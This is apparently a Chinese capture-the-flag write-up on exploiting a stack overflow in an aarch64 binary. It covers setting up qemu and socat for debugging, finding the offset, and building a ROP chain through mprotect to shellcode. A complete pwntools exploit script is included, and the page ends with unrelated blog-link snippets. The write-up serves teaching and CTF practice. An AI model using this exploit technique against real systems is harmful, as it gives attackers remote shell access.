前言

比赛的一个 arm 64 位的 pwn 题,通过这个题实践了 arm 64 下的 rop 以及调试环境搭建的方式。

题目文件

https://gitee.com/hac425/blog_data/tree/master/arm64

程序分析

首先看看程序开的保护措施,架构信息

hac425@ubuntu:~/workplace$ checksec pwn
[*] '/home/hac425/workplace/pwn'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序是 aarch64 的 , 开启了nx , 没有开 pie 说明程序的基地址不变。而且没有栈保护。

放到 ida 里面分析, 通过在 start 函数里面查看可以很快定位到 main 函数的位置

__int64 sub_400818()
{
sub_400760();
write(1LL, "Name:", 5LL);
read(0LL, &unk_411068, 0x200LL); // 往 bss 上读入 0x200 字节
sub_4007F0();
return 0LL;
}

main 函数的逻辑比较简单,首先读入 0x200 字节到 bss 段中的一个缓冲区, 然后调用另一个函数,这个函数里面就是简单的栈溢出。

__int64 sub_4007F0()
{
__int64 v1; // 数据大小为 8 字节
return read(0LL, &v1, 512LL); // 往 v1 处读入了 0x200 字节的数据
}

函数往一个 int64 类型的变量里面读入了 0x200 字节的数据, 栈溢出。

程序开启了 nx , 说明我们需要通过 rop 的技术来 getshell.

首先看看程序内还有没有可以利用的东西, 可以发现程序中还有 mprotect

我们可以使用 mprotect 来让一块内存变得可执行。 而且程序的开头我们可以往 bss 段写 0x200 字节的数据。

所以思路就有了:

  • 利用程序开始往 bss 段写数据的机会,在 bss 段写入 shellcode
  • 通过栈溢出和 rop 调用 mprotectshellcode 所在内存区域变成 rwx
  • 最后调到 shellcode 执行

调试环境搭建

开始一直纠结在环境不知道怎么搭建,后来发现可以直接使用 apt 安装 arm 的动态库,然后用 qemu 运行即可。

sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn -g 1234: 表示 qemu 会在 1234 起一个 gdbserver 等待 gdb 客户端连接后才能继续执行
-L /usr/aarch64-linux-gnu: 指定动态库路径

貌似 apt 还支持许多其他架构的动态库的安装, 以后出现其他架构的题也不慌了 _.

下面在使用 socat 搭建这个题, 方便输入一些 不可见的字符。

socat tcp-l:10002,fork exec:"qemu-aarch64 -g 1234  -L /usr/aarch64-linux-gnu ./pwn",reuseaddr

命令作用为 监听在 10002 端口, 每有一个连接过来,就执行

qemu-aarch64 -g 1234  -L /usr/aarch64-linux-gnu ./pwn

此时我们可以把调试器 attach 上去调试目标程序。

可以在脚本中,当连接服务器后,暂停执行,等待调试器 attach

p = remote("127.0.0.1", 10002)
pause() # 等待调试 attach ,并让目标程序继续执行

简单了解 arm64

首先是寄存器的变化。

  1. arm643264bit 长度的通用寄存器 x0x30 以及 sp,可以只使用其中的 32bitw0w30 (类似于 x64 中可以使用 $rax 也可以使用其中的 4 字节 $eax)。

  2. arm32 只有 1632bit 的通用寄存器 r0~r12 , lr, pc, sp.

函数调用的变化

  1. arm64 前面 8 个参数 都是通过寄存器来传递 x0x7

  2. arm32 前面 4 个参数通过寄存器来传递 r0r3,其他通过栈传递。

然后一些 rop 会用到的指令介绍

ret     跳转到 x30 寄存器,一般在函数的末尾会恢复函数的返回地址到 x30 寄存器

ldp x19, x20, [sp, #0x10]     从 sp+0x10 的位置读 0x10 字节,按顺序放入 x19, x20 寄存器

ldp x29, x30, [sp], #0x40      从 sp 的位置读 0x10 字节,按顺序放入 x29, x30 寄存器,然后 sp += 0x40

MOV X1, X0  寄存器X0的值传给X1

blr x3      跳转到由Xm目标寄存器指定的地址处,同时将下一条指令存放到X30寄存器中

定位偏移

对于栈溢出,我们需要定位到我们的输入数据的那一部分可以控制程序的 pc 寄存器。这一步可以使用 pwntools 自带的 cycliccyclic_find 的功能来查找偏移,这种方式非常的方便。

通过分析程序,我们知道程序会往 8 字节大小的空间内(int64) 读入 0x200 字节,所以使用 cyclic 生成一下然后发送给程序。

写个poc, 调试一下

from pwn import *
from time import sleep p = remote("127.0.0.1", 10002)
pause() p.recvuntil("Name:")
p.send("sssss") sleep(0.5) payload = cyclic(0x200)
p.sendline(payload) p.interactive()

当连接到 socat 监听的端口后,脚本会暂停,这时使用 gdb 连接上去就可以调试了。

然后让程序继续运行,同时让脚本也继续运行。会触发崩溃

可以看到 pc 寄存器的值被修改为 0x6161617461616173 ,同时栈上也都是 cyclic 生成的数据。

pc 的低四个字节(cyclic_find 最多支持 4 字节数据查找偏移)给 cyclic_find 来定位偏移。

In [23]: cyclic_find(0x61616173)
Out[23]: 72

所以 第 72 个字节后面就是返回地址的值了。

而且发现此时栈顶的数据刚好是返回地址都后面那一部分, 这个信息对于我们布置 rop 链也是一个有用的信息。

ROP

gadget 搜集

定位到 pc 的偏移后,下一步就是设置 rop 链了。

首先用 ROPgadget 查找程序中可用的 gadget

$ ROPgadget --binary pwn >  pwn.txt

然后根据我们的目的和拥有的条件,去找需要的 gadget.

回顾下我们的目标: 执行 mprotect , 然后执行 shellcode

可以去看看 mprotect 的调用位置。

程序中已经有一个完整的调用, 而且地址范围也是恰好包含了我们 shellcode 的位置(0x411068).所以只需要改第三个参数的值为标识可执行的即可。

#define PROT_READ	0x1     /* Page can be read.  */
#define PROT_WRITE 0x2 /* Page can be written. */
#define PROT_EXEC 0x4 /* Page can be executed. */
#define PROT_NONE 0x0 /* Page can not be accessed. */

通过前面的了解我们知道 arm64 的 第三个参数放在 x2 寄存器里面,所以我现在就是要去找可以修改 x2 或者 W2gadget.

通过在 gadget 里面搜索 ,发现了两个可以结合使用的 gadget

0x4008AC : ldr x3, [x21, x19, lsl #3] ; mov x2, x22 ; mov x1, x23 ; mov w0, w24 ; add x19, x19, #1 ; blr x3

0x4008CC : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
  • 第一个 gadget 使用 x22, x23, x24 寄存器的值设置了 x2, x1 , w0 的值 , 这正好设置了函数调用的三个参数。然后会跳转到 x3. 而 x3 是从 x21 + x19<<3 处取出来的。

  • 第二个 gadget 则从 栈上取出数据设置了 x19 ~ 0x24x29,x30 然后 ret. 栈上的数据使我们控制的哇!

结合使用这两个 gadget 我们可以设置需要调用的函数的 3 个参数值, 那么我们就可以调用 mprotect 了。

布置 rop 链

下面分析 rop 链的构造

payload = cyclic(72)
payload += p64(0x4008CC) # pc, gadget 1 payload += p64(0x0) # x29
payload += p64(0x4008AC) # x30, ret address ----> gadget 2
payload += p64(0x0) # x19
payload += p64(0x0) # x20
payload += p64(0x0411068) # x21---> input
payload += p64(0x7) # x22---> mprotect , rwx
payload += p64(0x1000) # x23---> mprotect , size
payload += p64(0x411000) # x24---> mprotect , address
payload += p64(0x0411068 + 0x10)
payload += p64(0x0411068 + 0x10) # ret to shellcode
payload += cyclic(0x100)

首先使用 0x4008CC 处的 gadget 设置寄存器的值, 执行完后各个寄存器的值为

x30 = 0x4008AC   --> 即第二段 gadget 的地址, ret指令时会 跳转过去,执行第二段 gadget
x21 = 0x0411068 --> 程序开头让我们输入的name存放的位置, 用于第二段 gadget 设置 x3 x19 = 0 x22 = 7 mprotect 的第3个参数, 表示 rwx
x23 = 0x1000 mprotect 的第2个参数
x24 = 0x411068 mprotect 的第1个参数

此时栈的布局为

p64(0x0411068 + 0x10)
p64(0x0411068 + 0x10) # ret to shellcode
cyclic(0x100)

然后执行第二段 gadget(0x4008AC)

首先

ldr x3, [x21, x19, lsl #3]

我们在第一段 gadget 时设置了 x21name 的地址, x190。 所以 x3name 开始的 8 个字节。

然后设置 x0 ~x2 的值。最后会 跳转到 x3 处。 此时参数已经设置好,我们在 发送 name 时把 开头 8 字节 设置为 调用 mprotect 的地址,就可以调用 mprotectbss 段设置为 可执行了。

p.recvuntil("Name:")
payload = p64(0x4007E0) # 调用 mprotect
payload += p64(0)
payload += shellcode # shellcode
p.send(payload)

调用 mprotect

我这里选择了 0x4007E0, 因为这里执行完后就会 从栈上取地址返回, 我们可以再次控制 pc

.text:00000000004007E8                 LDP             X29, X30, [SP+var_s0],#0x10
.text:00000000004007EC RET

执行到 04007E8 时的 栈

p64(0x0411068 + 0x10)
p64(0x0411068 + 0x10) # ret to shellcode
cyclic(0x100)

跳转到 shellcode

然后就会跳转到 0x0411068 + 0x10 也就是我们 shellcode 的位置。

执行shellcode

poc

from pwn import *
from time import sleep
elf = ELF("./pwn")
context.binary = elf
context.log_level = "debug"
shellcode = asm(shellcraft.aarch64.sh()) p = remote("106.75.126.171", 33865)
# p = remote("127.0.0.1", 10002)
# pause() p.recvuntil("Name:")
payload = p64(0x4007E0)
payload += p64(0)
payload += shellcode
p.send(payload) payload = cyclic(72)
payload += p64(0x4008CC) # pc, gadget 1 payload += p64(0x0) # x29
payload += p64(0x4008AC) # x30, ret address ----> gadget 2
payload += p64(0x0) # x19
payload += p64(0x0) # x20
payload += p64(0x0411068) # x21---> input
payload += p64(0x7) # x22---> mprotect , rwx
payload += p64(0x1000) # x23---> mprotect , size
payload += p64(0x411000) # x24---> mprotect , address
payload += p64(0x0411068 + 0x10)
payload += p64(0x0411068 + 0x10) # ret to shellcode
payload += cyclic(0x100) sleep(0.5)
p.sendline(payload) p.interactive()

最后发现这两段 gadget 位于 程序初始化函数的那一部分, 应该可以作为通用 gadget .

总结

通过 搭建 arm64 程序调试环境,也明白其他架构调试环境搭建的方式

apt 安装相应的动态库,然后使用 qemu 执行, 使用 socat 起服务,方便调试

参考

https://peterpan980927.cn/2018/01/27/ARM64%E6%B1%87%E7%BC%96/
http://people.seas.harvard.edu/~apw/sreplay/src/linux/mmap.c

arm64 调试环境搭建及 ROP 实战的更多相关文章

  1. Windows下Lua+Redis 断点调试环境搭建==Linux下类似

    Lua+Redis 断点调试环境搭建 windows环境,使用Redis,写lua脚本头疼的问题之一不能对脚本断点调试,google加上自己的摸索,终于搞定. 1.下载ZeroBraneStudio, ...

  2. Solr4.8.0源码分析(4)之Eclipse Solr调试环境搭建

    Solr4.8.0源码分析(4)之Eclipse Solr调试环境搭建 由于公司里的Solr调试都是用远程jpda进行的,但是家里只有一台电脑所以不能jpda进行调试,这是因为jpda的端口冲突.所以 ...

  3. Windebug双机调试环境搭建

    Windebug双机调试环境搭建    开始进行内核编程/驱动编程的调试工作是非常烦人的,由于程序运行与内核层不受操作系统的管控,所以容易引起主机蓝屏和崩溃是常有的事.这也就使得内核程序的调试成了一大 ...

  4. 《天书夜读:从汇编语言到windows内核编程》四 windows内核调试环境搭建

    1) 基础篇是讲理论的,先跳过去,看不到代码运行的效果要去记代码是一个痛苦的事情.这里先跳入探索篇.其实今天的确也很痛苦,这作者对驱动开发的编译与调试环境介绍得太模糊了,我是各种尝试,对这个环境的搭建 ...

  5. HI3518E平台ISP调试环境搭建

    海思的SDK提供了ISP调试的相关工具,降低了IPC的ISP调试的难度.初次搭建ISP调试环境,记录一下. SDK版本:Hi3518_MPP_V1.0.A.0 硬件平台:HI3518E_OV9732 ...

  6. 一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 本文分析 Vault 7 中泄露的 RouterOs 漏洞.漏洞影 ...

  7. eos源码分析和应用(一)调试环境搭建

    转载自 http://www.limerence2017.com/2018/09/02/eos1/#more eos基于区块链技术实现的开源引擎,开发人员可以基于该引擎开发DAPP(分布式应用).下面 ...

  8. Vue源码学习(一):调试环境搭建

    最近开始学习Vue源码,第一步就是要把调试环境搭好,这个过程遇到小坑着实费了点功夫,在这里记下来 一.调试环境搭建过程 1.安装node.js,具体不展开 2.下载vue项目源码,git或svn等均可 ...

  9. PhpStorm Xdebug远程调试环境搭建原理分析及问题排查

    2017年05月26日  经验心得 目录   一. 环境介绍 二. 远程环境配置 2.2 Xdebug安装 2.3 配置 三. 本地phpstorm配置 3.1 下载远程代码 3.2 添加php解释器 ...

随机推荐

  1. 关于oracle RAC心跳线采用直连 还是交换机连接的建议

    关于oracle RAC心跳线的连接方式,各个论坛,包括网上文章的说法是:官方说是不建议直连,建议采用交换机连接的方式!PS:但是,一直没有找到官方文档的出处,有知道的兄弟,烦请评论区提供下地址!!! ...

  2. xamarin 编译出现Xamarin.Build.Forms.Tasks.GetTaskAbi 无法加载的错误解决方法

    最新升级最新的vs2017后发现编译xamarin forms 会出现错误 Xamarin.Forms.Build.Tasks.GetTasksAbi task could not be loaded ...

  3. const和define的差别

    1.const有什么用途?(1)可以定义const常量(2)const可以修饰函数的参数和返回值,甚至函数的定义体.被const修饰的东西都受到强制保护,可以预防以外的变动,能提高程序的健壮性. in ...

  4. 分享一套简单的CodeSmith三层模板

    如果要连接mysql,需要安装驱动: https://cdn.mysql.com//Downloads/Connector-Net/mysql-connector-net-8.0.12.msi 连接字 ...

  5. python使用requests请求的数据乱码

    1.首先进入目标网站,浏览器查看源码,找到head标签下面的meta标签,一般meta标签不止一个,我们只需找到charset属性里面的值即可 2.requests请求成功时,设置它的编码,代码如下 ...

  6. java web 中 filter 与 servlet的关系

    过滤器的转载顺序是服务器按照we.xml文件中定义的顺序从后往先的顺序转载的,而过滤的顺序就是按照先后顺序过滤的,而销毁也是从后往先销毁的.

  7. Linq 多表连接查询join

    在查询语言中,通常需要使用联接操作.在 LINQ 中,可以通过 join 子句实现联接操作.join 子句可以将来自不同源序列,并且在对象模型中没有直接关系(数据库表之间没有关系)的元素相关联,唯一的 ...

  8. 学了近一个月的java web 感想

    对于每天学习的新知识进行一定的总结,是有必要的. 之前我学的每一门知识,我都没有怎么总结自己的问题,也没有怎么去想想该怎样才能学的更好,把知识掌握的更牢固.从现在开始呢,我会每半个月,或每一个月总结总 ...

  9. PowerBuilder编程新思维4:钩挂(界面美化与DirectUI)

    <第二部分 Outside> PowerBuilder编程新思维4:钩挂(界面美化与DirectUI) PB的界面由于其封闭性,一直以来都是最大的弱项.自PB9.0开放了PBNI接口后,开 ...

  10. C#Redis哈希Hashes

    一.前戏 我们可以将Redis中的Hashes类型看成具有String Key和String Value的map容器.所以该类型非常适合于存储值对象的信息.如Username.Password和Age ...